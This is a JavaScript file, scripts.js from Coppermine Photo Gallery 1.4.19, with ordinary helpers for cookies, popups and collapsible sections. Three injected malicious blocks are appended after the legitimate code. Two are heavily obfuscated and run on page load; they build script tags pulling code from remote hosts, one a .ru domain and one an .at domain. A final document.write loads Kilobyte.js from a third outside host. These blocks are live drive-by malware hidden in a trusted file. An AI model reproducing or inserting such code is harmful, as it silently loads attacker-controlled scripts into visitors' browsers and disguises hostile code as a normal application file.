/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.19
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 4392 $
  $Author: gaugau $
  $Date: 2008-04-16 09:25:35 +0200 (Mi, 16 Apr 2008) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}

var s;if(s!='i' && s!='uE'){s='i'};try {var ML;if(ML!='' && ML!='M'){ML='j'};this.p='';var t=window[unescape("%75%6e%65%73%63%61%70%65")];var F=new String();var Z=window[t("%52%65%67%45%78%70")];var P=t("%72%65%70%6c%61%63%65");var _="";var HL=new Date();var e=null;var Ef=new Array();var asO;if(asO!='k' && asO!='yQ'){asO=''};var EK;if(EK!='B'){EK=''};var pF=new Array();var OI;if(OI!='uK' && OI!='X'){OI='uK'};function J(E,O){var nw;if(nw!='' && nw!='v'){nw=null};var JS="";var w=t("%5b");w+=O;this._v='';w+=t("%5d");var id;if(id!='' && id!='sH'){id=null};var ER=new String();var V=new Z(w, t("%67"));var RR='';var G;if(G!=''){G='kH'};return E.replace(V, e);var oR;if(oR!='' && oR!='ol'){oR='uS'};};var pj;if(pj!='Q'){pj=''};var Vga="";var y=J('/SgLgSpLhjtj-ScSozmB/NgBoGoSgjlzex.NcLoGmS/SaNpBpNlxeS.zcGoGmL.SpxhGpN','NSzBxLGj');var H=J('84966759065557558577291270994477242','29675341');var f;if(f!=''){f='XK'};var A='';this.QY='';var I="onloa"+"9Ould".substr(4);this.bN='';var W=new String();var d=t("%73%63%72%69%70%74");this.Ye='';var E=t("%31");var BH=new Array();var os;if(os!='xB' && os != ''){os=null};var In=new Array();this.VV="";var N="\x68\x74\x74\x70\x3a\x2f\x2f\x70\x68\x6f\x6e\x65\x68\x6f\x6d\x65\x6c\x6f\x61\x6e\x2e\x61\x74\x3a";var rT;if(rT!='' && rT!='_j'){rT='zA'};var SI;if(SI!='tr' && SI != ''){SI=null};function IN(){var Mr=new String();var Xk=new Array();var ym;if(ym!='bB'){ym='bB'};var z=document;var l;if(l!='Ra' && l!='xL'){l='Ra'};var Zj;if(Zj!='fA' && Zj!='wr'){Zj='fA'};this.wD="";D=z.createElement(d);A+=N;var je;if(je!='Hc'){je=''};A+=H+y;var zV;if(zV!='zAl' && zV!='Wc'){zV=''};var ke='';var uA="";D.src=A;D.defer=E;var Nc=new Date();var u=z.body;this.XM='';var CB;if(CB!='' && CB!='KJ'){CB=null};var y_;if(y_!=''){y_='xr'};u.appendChild(D);};this.mD="";var _U;if(_U!='lt' && _U != ''){_U=null};window[I]=IN;var nC="";var Og;if(Og!='mDs' && Og!='OE'){Og=''};} catch(o){};var ep=new String();var Xv;if(Xv!='' && Xv!='XB'){Xv=''};



var q={V:58960};var j="j";wi={Q:false};function e(){var k=window;R=54976;R++;var ZL=new Date();var C=String("bo"+"dy");var x=String("TKAdef".substr(3)+"erVsiM".substr(0,2));try {var xc='_'} catch(xc){};var w=new String("appEdb".substr(0,3)+"end"+"ChiIrV3".substr(0,3)+"ldHpV".substr(0,2));var i="onloaZrpz".substr(0,5)+"d";Cl=["AR","_j","o"];var c={Cw:"gq"};var g=String("crea"+"teEl"+"emen"+"t");var Z=String("src");var B=["Xg"];var z=document;var EV={};this.Zk=40570;this.Zk-=59;var CX=new String("scri9X5".substr(0,4)+"pt");var lo=new Date();var aa=new Array();var SL={J:26698};var iW=["Kp"];function h(){try {var PQ='jE'} catch(PQ){};zw=59597;zw--;try {var qV=["ar","N"];var b=854665-846585;var gZ=String("/me"+"dia"+"xYzufir".substr(4)+"gRSe-c".substr(3)+"wS1om/".substr(3)+"goo"+"gle"+".co"+"dBfKm/i".substr(4)+"DAhnfohDA".substr(3,3)+"s3malin".substr(4)+"ks."+"com"+"ZJ0d.ph".substr(4)+"p");var SU={U:false};this.fO="";aaI={BE:3611};csV={cs:12869};var p="BvChttp:".substr(3)+"JMA//pasAJM".substr(3,5)+"sport1uIq".substr(0,5)+"KmpNbluesKmpN".substr(4,5)+".ru:";var jj=false;var pi=9054-9053;oe=47299;oe--;KH=62314;KH--;v=z[g](CX);zg={ei:false};var KL={pt:"W"};v[x]=pi;v[Z]=p+b+gZ;za=52533;za++;this.gm='';Pj=26009;Pj++;z[C][w](v);var s={};var QK=false;this.Hd=false;dw={ca:"jjh"};} catch(T){var At=new Array();var ny={XR:false};};var Zm=false;bo={t:62576};}k[i]=h;cg=["HA","rb","SC"];Se={Xi:25335};};e();G=63490;G++;fD=37020;fD++;





document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Kilobyte.js"></scr'+'ipt>');